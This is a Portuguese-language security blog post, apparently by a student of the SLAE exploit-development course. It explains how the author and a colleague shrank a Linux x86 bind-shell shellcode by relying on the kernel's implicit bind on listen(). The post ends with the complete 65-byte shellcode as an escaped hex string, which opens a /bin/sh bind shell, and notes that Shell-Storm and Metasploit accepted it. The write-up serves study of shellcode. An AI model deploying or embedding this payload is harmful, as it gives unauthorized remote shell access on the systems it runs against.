Hacking bits: Hacking do Dia - Shell Bind TCP Random Port

/*
Para melhor entendimento, leiam o post anterior SLAE - 1st Assignment - Shell Bind TCP
*/

<UPDATE>

O shellcode final deste post foi aceito no repositório Shell-Storm.
Tks Jonathan Salwan.

</UPDATE>

<UPDATE 2>

   Foram incluídas no Metasploit as versões x86 e x86_64 deste payload.
Tks Ewerson Guimarães (Crash), Tod Beardsley and all involved in Metasploit project.
   x86 payload
   x86_64 payload

</UPDATE 2>

Olá pessoal!

Comentários são sempre fantásticos. Sabem por quê?

Porque através da troca de conhecimento ideias surgem. E, havendo vontade, essas ideias podem se transformar em algo útil.

Esta tarde, Tiago Natel (SecPlus) me respondeu, com veemência e propriedade, sobre o post SLAE - 1st Assignment na lista do Brasil Underground. A informação que ele passou sobre shellcodes e o uso do SO_REUSEADDR foram engrandecedoras para mim e os demais da lista.

Por e-mail, marcamos de debatermos o assunto, o que aconteceu no finalzinho da tarde.

Fizemos, em conjunto, uns debbugs e traces dos shellcodes do metasploit e do que disponibilizei via github. Constatamos que realmente o do metasploit gera SIGSEGV quando a porta ainda está em TIME_WAIT, uma vez que ao tentar fazer o bind, e não conseguir, o registrador $eax recebe número negativo (erro) e fica poluído. Mesmo as novas cópias para esse registrador não resolvem, já que, para se evitar null-bytes, os shellcodes têm mov's usando o registrador $al, que copiam apenas 1 byte, deixando o resto de $eax como está. Bom, dá para imaginar que o shellcode não vai funcionar muito bem. :D

Identificamos, porém, que quando o meu shell_bind_tcp, sem opção SO_REUSEADDR, era instanciado pela segunda vez, ou seja, com a porta da instância anterior ainda em TIME_WAIT, o socket, ao ser criado, usava uma porta aleatória. De início, achamos isso meio louco! Chegamos a pensar que a listen cuidava disso. Eu pensei que era alguma coisa da libc, mas reproduzi o mesmo efeito com o código asm (apenas com syscalls).

Nesse ínterim, Tiago, por ter bastante experiência, fez uma pesquisa rápida no google e encontrou informações a respeito do uso do bind no manual POSIX da Fujitsu Siemens Computer (SOCKETS/XTI(POSIX)).

Vejam o achado dele (pg. 23):

"2.6.6 Automatic address assignment by the system

You can still call a function for a socket which actually requires a bound socket (e.g. connect(), sendto(), etc.), even if the socket has no address assigned to it. In this case, the system executes an implicit bind() call with wildcards for the Internet address and port number, i.e. the socket is bound with INADDR_ANY to all IPv4 addresses and with IN6ADDR_ANY to all IPv6 addresses and IPv4 addresses of the host and receives a free port number from the range of non-privileged port numbers."

O que isso quer dizer?

Se não tivermos feito bind no socket, ou se o bind não acontecer por não haver endereço e/ou porta disponíveis, como identificamos no meu shell_bind_tcp sem SO_REUSEADDR, ao se utilizar syscalls como connect, sendto, no nosso caso a listen, o sistema se encarrega de fazer um bind genérico com o atributo INADDR_ANY e de disponibilizar uma porta dentre os números não privilegiados.

De certa forma estávamos corretos, pois pensávamos que era a listen que estava a fazer o bind automático; em verdade, foi através dela que o sistema se encarregou de amarrar o socket a um endereço disponível.

Sim, e daí?

Os shellcodes não imploram para serem pequenos e se adequarem aos buffers explorados?

Quase que instantaneamente tivemos a ideia de retirar o setsockopt (usado no meu shellcode) e o próprio bind (usado em todos).

Vocês não imaginam o tamanho do novo shell_bind_tcp_random_port...

Míseros 65 bytes

# echo -e "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xca" | /opt/libemu/bin/sctest -vvv -Ss 100000 -G shell_bind_tcp_random_port.dot